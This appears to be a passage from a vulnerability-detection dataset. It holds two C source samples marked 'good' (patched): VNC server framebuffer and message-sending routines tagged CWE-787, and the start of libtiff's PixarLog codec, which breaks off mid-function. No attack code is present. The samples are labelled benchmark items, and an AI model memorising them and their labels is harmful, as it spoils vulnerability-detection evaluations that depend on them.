rfbSendCopyRegion(rfbClientPtr cl, sraRegionPtr reg, int dx, int dy) { int x, y, w, h; rfbFramebufferUpdateRectHeader rect; rfbCopyRect cr; sraRectangleIterator* i; sraRect rect1; /* printf("copyrect: "); sraRgnPrint(reg); putchar('\n');fflush(stdout); */ i = sraRgnGetReverseIterator(reg,dx>0,dy>0); /* correct for the scale of the screen */ dx = ScaleX(cl->screen, cl->scaledScreen, dx); dy = ScaleX(cl->screen, cl->scaledScreen, dy); while(sraRgnIteratorNext(i,&rect1)) { x = rect1.x1; y = rect1.y1; w = rect1.x2 - x; h = rect1.y2 - y; /* correct for scaling (if necessary) */ rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "copyrect"); rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingCopyRect); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; cr.srcX = Swap16IfLE(x - dx); cr.srcY = Swap16IfLE(y - dy); memcpy(&cl->updateBuf[cl->ublen], (char *)&cr, sz_rfbCopyRect); cl->ublen += sz_rfbCopyRect; rfbStatRecordEncodingSent(cl, rfbEncodingCopyRect, sz_rfbFramebufferUpdateRectHeader + sz_rfbCopyRect, w * h * (cl->scaledScreen->bitsPerPixel / 8)); } sraRgnReleaseIterator(i); return TRUE; } /* * Send a given rectangle in raw encoding (rfbEncodingRaw). */ rfbBool rfbSendRectEncodingRaw(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; int nlines; int bytesPerLine = w * (cl->format.bitsPerPixel / 8); char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); /* Flush the buffer to guarantee correct alignment for translateFn(). */ if (cl->ublen > 0) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingRaw); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingRaw, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; while (TRUE) { if (nlines > h) nlines = h; (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format, fbptr, &cl->updateBuf[cl->ublen], cl->scaledScreen->paddedWidthInBytes, w, nlines); cl->ublen += nlines * bytesPerLine; h -= nlines; if (h == 0) /* rect fitted in buffer, do next one */ return TRUE; /* buffer full - flush partial rect and do another nlines */ if (!rfbSendUpdateBuf(cl)) return FALSE; fbptr += (cl->scaledScreen->paddedWidthInBytes * nlines); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; if (nlines == 0) { rfbErr("rfbSendRectEncodingRaw: send buffer too small for %d " "bytes per line\n", bytesPerLine); rfbCloseClient(cl); return FALSE; } } } /* * Send an empty rectangle with encoding field set to value of * rfbEncodingLastRect to notify client that this is the last * rectangle in framebuffer update ("LastRect" extension of RFB * protocol). */ rfbBool rfbSendLastRectMarker(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingLastRect); rect.r.x = 0; rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingLastRect, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send NewFBSize pseudo-rectangle. This tells the client to change * its framebuffer size. */ rfbBool rfbSendNewFBSize(rfbClientPtr cl, int w, int h) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if (cl->PalmVNC==TRUE) rfbLog("Sending rfbEncodingNewFBSize in response to a PalmVNC style framebuffer resize (%dx%d)\n", w, h); else rfbLog("Sending rfbEncodingNewFBSize for resize to (%dx%d)\n", w, h); rect.encoding = Swap32IfLE(rfbEncodingNewFBSize); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingNewFBSize, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send the contents of cl->updateBuf. Returns 1 if successful, -1 if * not (errno should be set). */ rfbBool rfbSendUpdateBuf(rfbClientPtr cl) { if(cl->sock<0) return FALSE; if (rfbWriteExact(cl, cl->updateBuf, cl->ublen) < 0) { rfbLogPerror("rfbSendUpdateBuf: write"); rfbCloseClient(cl); return FALSE; } cl->ublen = 0; return TRUE; } /* * rfbSendSetColourMapEntries sends a SetColourMapEntries message to the * client, using values from the currently installed colormap. */ rfbBool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours) { char buf[sz_rfbSetColourMapEntriesMsg + 256 * 3 * 2]; char *wbuf = buf; rfbSetColourMapEntriesMsg *scme; uint16_t *rgb; rfbColourMap* cm = &cl->screen->colourMap; int i, len; if (nColours > 256) { /* some rare hardware has, e.g., 4096 colors cells: PseudoColor:12 */ wbuf = (char *) malloc(sz_rfbSetColourMapEntriesMsg + nColours * 3 * 2); } scme = (rfbSetColourMapEntriesMsg *)wbuf; rgb = (uint16_t *)(&wbuf[sz_rfbSetColourMapEntriesMsg]); scme->type = rfbSetColourMapEntries; scme->firstColour = Swap16IfLE(firstColour); scme->nColours = Swap16IfLE(nColours); len = sz_rfbSetColourMapEntriesMsg; for (i = 0; i < nColours; i++) { if(i<(int)cm->count) { if(cm->is16) { rgb[i*3] = Swap16IfLE(cm->data.shorts[i*3]); rgb[i*3+1] = Swap16IfLE(cm->data.shorts[i*3+1]); rgb[i*3+2] = Swap16IfLE(cm->data.shorts[i*3+2]); } else { rgb[i*3] = Swap16IfLE((unsigned short)cm->data.bytes[i*3]); rgb[i*3+1] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+1]); rgb[i*3+2] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+2]); } } } len += nColours * 3 * 2; LOCK(cl->sendMutex); if (rfbWriteExact(cl, wbuf, len) < 0) { rfbLogPerror("rfbSendSetColourMapEntries: write"); rfbCloseClient(cl); if (wbuf != buf) free(wbuf); UNLOCK(cl->sendMutex); return FALSE; } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbSetColourMapEntries, len, len); if (wbuf != buf) free(wbuf); return TRUE; } /* * rfbSendBell sends a Bell message to all the clients. */ void rfbSendBell(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i; rfbClientPtr cl; rfbBellMsg b; i = rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(i))) { b.type = rfbBell; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&b, sz_rfbBellMsg) < 0) { rfbLogPerror("rfbSendBell: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); } rfbStatRecordMessageSent(cl, rfbBell, sz_rfbBellMsg, sz_rfbBellMsg); rfbReleaseClientIterator(i); } /* * rfbSendServerCutText sends a ServerCutText message to all the clients. */ void rfbSendServerCutText(rfbScreenInfoPtr rfbScreen,char *str, int len) { rfbClientPtr cl; rfbServerCutTextMsg sct; rfbClientIteratorPtr iterator; iterator = rfbGetClientIterator(rfbScreen); while ((cl = rfbClientIteratorNext(iterator)) != NULL) { sct.type = rfbServerCutText; sct.length = Swap32IfLE(len); LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sct, sz_rfbServerCutTextMsg) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); continue; } if (rfbWriteExact(cl, str, len) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbServerCutText, sz_rfbServerCutTextMsg+len, sz_rfbServerCutTextMsg+len); } rfbReleaseClientIterator(iterator); } /***************************************************************************** * * UDP can be used for keyboard and pointer events when the underlying * network is highly reliable. This is really here to support ORL's * videotile, whose TCP implementation doesn't like sending lots of small * packets (such as 100s of pen readings per second!). */ static unsigned char ptrAcceleration = 50; void rfbNewUDPConnection(rfbScreenInfoPtr rfbScreen, int sock) { if (write(sock, (char*) &ptrAcceleration, 1) < 0) { rfbLogPerror("rfbNewUDPConnection: write"); } } /* * Because UDP is a message based service, we can't read the first byte and * then the rest of the packet separately like we do with TCP. We will always * get a whole packet delivered in one go, so we ask read() for the maximum * number of bytes we can possibly get. */ void rfbProcessUDPInput(rfbScreenInfoPtr rfbScreen) { int n; rfbClientPtr cl=rfbScreen->udpClient; rfbClientToServerMsg msg; if((!cl) || cl->onHold) return; if ((n = read(rfbScreen->udpSock, (char *)&msg, sizeof(msg))) <= 0) { if (n < 0) { rfbLogPerror("rfbProcessUDPInput: read"); } rfbDisconnectUDPSock(rfbScreen); return; } switch (msg.type) { case rfbKeyEvent: if (n != sz_rfbKeyEventMsg) { rfbErr("rfbProcessUDPInput: key event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); break; case rfbPointerEvent: if (n != sz_rfbPointerEventMsg) { rfbErr("rfbProcessUDPInput: ptr event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->ptrAddEvent(msg.pe.buttonMask, Swap16IfLE(msg.pe.x), Swap16IfLE(msg.pe.y), cl); break; default: rfbErr("rfbProcessUDPInput: unknown message type %d\n", msg.type); rfbDisconnectUDPSock(rfbScreen); } }
./CrossVul/dataset_final_sorted/CWE-787/c/good_522_0
crossvul-cpp_data_good_5479_1
/* $Id$ */ /* * Copyright (c) 1996-1997 Sam Leffler * Copyright (c) 1996 Pixar * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Pixar, Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Pixar, Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL PIXAR, SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tiffiop.h" #ifdef PIXARLOG_SUPPORT /* * TIFF Library. * PixarLog Compression Support * * Contributed by Dan McCoy. * * PixarLog film support uses the TIFF library to store companded * 11 bit values into a tiff file, which are compressed using the * zip compressor. * * The codec can take as input and produce as output 32-bit IEEE float values * as well as 16-bit or 8-bit unsigned integer values. * * On writing any of the above are converted into the internal * 11-bit log format. In the case of 8 and 16 bit values, the * input is assumed to be unsigned linear color values that represent * the range 0-1. In the case of IEEE values, the 0-1 range is assumed to * be the normal linear color range, in addition over 1 values are * accepted up to a value of about 25.0 to encode "hot" highlights and such. * The encoding is lossless for 8-bit values, slightly lossy for the * other bit depths. The actual color precision should be better * than the human eye can perceive with extra room to allow for * error introduced by further image computation. As with any quantized * color format, it is possible to perform image calculations which * expose the quantization error. This format should certainly be less * susceptible to such errors than standard 8-bit encodings, but more * susceptible than straight 16-bit or 32-bit encodings. * * On reading the internal format is converted to the desired output format. * The program can request which format it desires by setting the internal * pseudo tag TIFFTAG_PIXARLOGDATAFMT to one of these possible values: * PIXARLOGDATAFMT_FLOAT = provide IEEE float values. * PIXARLOGDATAFMT_16BIT = provide unsigned 16-bit integer values * PIXARLOGDATAFMT_8BIT = provide unsigned 8-bit integer values * * alternately PIXARLOGDATAFMT_8BITABGR provides unsigned 8-bit integer * values with the difference that if there are exactly three or four channels * (rgb or rgba) it swaps the channel order (bgr or abgr). * * PIXARLOGDATAFMT_11BITLOG provides the internal encoding directly * packed in 16-bit values. However no tools are supplied for interpreting * these values. * * "hot" (over 1.0) areas written in floating point get clamped to * 1.0 in the integer data types. * * When the file is closed after writing, the bit depth and sample format * are set always to appear as if 8-bit data has been written into it. * That way a naive program unaware of the particulars of the encoding * gets the format it is most likely able to handle. * * The codec does it's own horizontal differencing step on the coded * values so the libraries predictor stuff should be turned off. * The codec also handle byte swapping the encoded values as necessary * since the library does not have the information necessary * to know the bit depth of the raw unencoded buffer. * * NOTE: This decoder does not appear to update tif_rawcp, and tif_rawcc. * This can cause problems with the implementation of CHUNKY_STRIP_READ_SUPPORT * as noted in http://trac.osgeo.org/gdal/ticket/3894. FrankW - Jan'11 */ #include "tif_predict.h" #include "zlib.h" #include <stdio.h> #include <stdlib.h> #include <math.h> /* Tables for converting to/from 11 bit coded values */ #define TSIZE 2048 /* decode table size (11-bit tokens) */ #define TSIZEP1 2049 /* Plus one for slop */ #define ONE 1250 /* token value of 1.0 exactly */ #define RATIO 1.004 /* nominal ratio for log part */ #define CODE_MASK 0x7ff /* 11 bits. */ static float Fltsize; static float LogK1, LogK2; #define REPEAT(n, op) { int i; i=n; do { i--; op; } while (i>0); } static void horizontalAccumulateF(uint16 *wp, int n, int stride, float *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)]; t1 = ToLinearF[cg = (wp[1] & mask)]; t2 = ToLinearF[cb = (wp[2] & mask)]; t3 = ToLinearF[ca = (wp[3] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask]; t1 = ToLinearF[(cg += wp[1]) & mask]; t2 = ToLinearF[(cb += wp[2]) & mask]; t3 = ToLinearF[(ca += wp[3]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinearF[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate12(uint16 *wp, int n, int stride, int16 *op, float *ToLinearF) { register unsigned int cr, cg, cb, ca, mask; register float t0, t1, t2, t3; #define SCALE12 2048.0F #define CLAMP12(t) (((t) < 3071) ? (uint16) (t) : 3071) if (n >= stride) { mask = CODE_MASK; if (stride == 3) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); } } else if (stride == 4) { t0 = ToLinearF[cr = (wp[0] & mask)] * SCALE12; t1 = ToLinearF[cg = (wp[1] & mask)] * SCALE12; t2 = ToLinearF[cb = (wp[2] & mask)] * SCALE12; t3 = ToLinearF[ca = (wp[3] & mask)] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; t0 = ToLinearF[(cr += wp[0]) & mask] * SCALE12; t1 = ToLinearF[(cg += wp[1]) & mask] * SCALE12; t2 = ToLinearF[(cb += wp[2]) & mask] * SCALE12; t3 = ToLinearF[(ca += wp[3]) & mask] * SCALE12; op[0] = CLAMP12(t0); op[1] = CLAMP12(t1); op[2] = CLAMP12(t2); op[3] = CLAMP12(t3); } } else { REPEAT(stride, t0 = ToLinearF[*wp&mask] * SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; t0 = ToLinearF[wp[stride]&mask]*SCALE12; *op = CLAMP12(t0); wp++; op++) n -= stride; } } } } static void horizontalAccumulate16(uint16 *wp, int n, int stride, uint16 *op, uint16 *ToLinear16) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear16[cr = (wp[0] & mask)]; op[1] = ToLinear16[cg = (wp[1] & mask)]; op[2] = ToLinear16[cb = (wp[2] & mask)]; op[3] = ToLinear16[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = ToLinear16[(cr += wp[0]) & mask]; op[1] = ToLinear16[(cg += wp[1]) & mask]; op[2] = ToLinear16[(cb += wp[2]) & mask]; op[3] = ToLinear16[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear16[*wp&mask]; wp++; op++) n -= stride; } } } } /* * Returns the log encoded 11-bit values with the horizontal * differencing undone. */ static void horizontalAccumulate11(uint16 *wp, int n, int stride, uint16 *op) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; cr = wp[0]; cg = wp[1]; cb = wp[2]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); } } else if (stride == 4) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; op[3] = wp[3]; cr = wp[0]; cg = wp[1]; cb = wp[2]; ca = wp[3]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); op[3] = (uint16)((ca += wp[3]) & mask); } } else { REPEAT(stride, *op = *wp&mask; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = *wp&mask; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 3; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; op[3] = ToLinear8[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; op[3] = ToLinear8[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8abgr(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; register unsigned char t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = 0; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[1] = t1; op[2] = t2; op[3] = t3; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 4; op[0] = 0; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[1] = t1; op[2] = t2; op[3] = t3; } } else if (stride == 4) { t0 = ToLinear8[ca = (wp[3] & mask)]; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; t0 = ToLinear8[(ca += wp[3]) & mask]; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } /* * State block for each open TIFF * file using PixarLog compression/decompression. */ typedef struct { TIFFPredictorState predict; z_stream stream; tmsize_t tbuf_size; /* only set/used on reading for now */ uint16 *tbuf; uint16 stride; int state; int user_datafmt; int quality; #define PLSTATE_INIT 1 TIFFVSetMethod vgetparent; /* super-class method */ TIFFVSetMethod vsetparent; /* super-class method */ float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; } PixarLogState; static int PixarLogMakeTables(PixarLogState *sp) { /* * We make several tables here to convert between various external * representations (float, 16-bit, and 8-bit) and the internal * 11-bit companded representation. The 11-bit representation has two * distinct regions. A linear bottom end up through .018316 in steps * of about .000073, and a region of constant ratio up to about 25. * These floating point numbers are stored in the main table ToLinearF. * All other tables are derived from this one. The tables (and the * ratios) are continuous at the internal seam. */ int nlin, lt2size; int i, j; double b, c, linstep, v; float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; c = log(RATIO); nlin = (int)(1./c); /* nlin must be an integer */ c = 1./nlin; b = exp(-c*ONE); /* multiplicative scale factor [b*exp(c*ONE) = 1] */ linstep = b*c*exp(1.); LogK1 = (float)(1./c); /* if (v >= 2) token = k1*log(v*k2) */ LogK2 = (float)(1./b); lt2size = (int)(2./linstep) + 1; FromLT2 = (uint16 *)_TIFFmalloc(lt2size*sizeof(uint16)); From14 = (uint16 *)_TIFFmalloc(16384*sizeof(uint16)); From8 = (uint16 *)_TIFFmalloc(256*sizeof(uint16)); ToLinearF = (float *)_TIFFmalloc(TSIZEP1 * sizeof(float)); ToLinear16 = (uint16 *)_TIFFmalloc(TSIZEP1 * sizeof(uint16)); ToLinear8 = (unsigned char *)_TIFFmalloc(TSIZEP1 * sizeof(unsigned char)); if (FromLT2 == NULL || From14 == NULL || From8 == NULL || ToLinearF == NULL || ToLinear16 == NULL || ToLinear8 == NULL) { if (FromLT2) _TIFFfree(FromLT2); if (From14) _TIFFfree(From14); if (From8) _TIFFfree(From8); if (ToLinearF) _TIFFfree(ToLinearF); if (ToLinear16) _TIFFfree(ToLinear16); if (ToLinear8) _TIFFfree(ToLinear8); sp->FromLT2 = NULL; sp->From14 = NULL; sp->From8 = NULL; sp->ToLinearF = NULL; sp->ToLinear16 = NULL; sp->ToLinear8 = NULL; return 0; } j = 0; for (i = 0; i < nlin; i++) { v = i * linstep; ToLinearF[j++] = (float)v; } for (i = nlin; i < TSIZE; i++) ToLinearF[j++] = (float)(b*exp(c*i)); ToLinearF[2048] = ToLinearF[2047]; for (i = 0; i < TSIZEP1; i++) { v = ToLinearF[i]*65535.0 + 0.5; ToLinear16[i] = (v > 65535.0) ? 65535 : (uint16)v; v = ToLinearF[i]*255.0 + 0.5; ToLinear8[i] = (v > 255.0) ? 255 : (unsigned char)v; } j = 0; for (i = 0; i < lt2size; i++) { if ((i*linstep)*(i*linstep) > ToLinearF[j]*ToLinearF[j+1]) j++; FromLT2[i] = (uint16)j; } /* * Since we lose info anyway on 16-bit data, we set up a 14-bit * table and shift 16-bit values down two bits on input. * saves a little table space. */ j = 0; for (i = 0; i < 16384; i++) { while ((i/16383.)*(i/16383.) > ToLinearF[j]*ToLinearF[j+1]) j++; From14[i] = (uint16)j; } j = 0; for (i = 0; i < 256; i++) { while ((i/255.)*(i/255.) > ToLinearF[j]*ToLinearF[j+1]) j++; From8[i] = (uint16)j; } Fltsize = (float)(lt2size/2); sp->ToLinearF = ToLinearF; sp->ToLinear16 = ToLinear16; sp->ToLinear8 = ToLinear8; sp->FromLT2 = FromLT2; sp->From14 = From14; sp->From8 = From8; return 1; } #define DecoderState(tif) ((PixarLogState*) (tif)->tif_data) #define EncoderState(tif) ((PixarLogState*) (tif)->tif_data) static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s); static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s); #define PIXARLOGDATAFMT_UNKNOWN -1 static int PixarLogGuessDataFmt(TIFFDirectory *td) { int guess = PIXARLOGDATAFMT_UNKNOWN; int format = td->td_sampleformat; /* If the user didn't tell us his datafmt, * take our best guess from the bitspersample. */ switch (td->td_bitspersample) { case 32: if (format == SAMPLEFORMAT_IEEEFP) guess = PIXARLOGDATAFMT_FLOAT; break; case 16: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_16BIT; break; case 12: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_INT) guess = PIXARLOGDATAFMT_12BITPICIO; break; case 11: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_11BITLOG; break; case 8: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_8BIT; break; } return guess; } static tmsize_t multiply_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 * m2; if (m1 && bytes / m1 != m2) bytes = 0; return bytes; } static tmsize_t add_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 + m2; /* if either input is zero, assume overflow already occurred */ if (m1 == 0 || m2 == 0) bytes = 0; else if (bytes <= m1 || bytes <= m2) bytes = 0; return bytes; } static int PixarLogFixupTags(TIFF* tif) { (void) tif; return (1); } static int PixarLogSetupDecode(TIFF* tif) { static const char module[] = "PixarLogSetupDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* Make sure no byte swapping happens on the data * after decompression. */ tif->tif_postdecode = _TIFFNoPostDecode; /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); /* add one more stride in case input ends mid-stride */ tbuf_size = add_ms(tbuf_size, sizeof(uint16) * sp->stride); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) 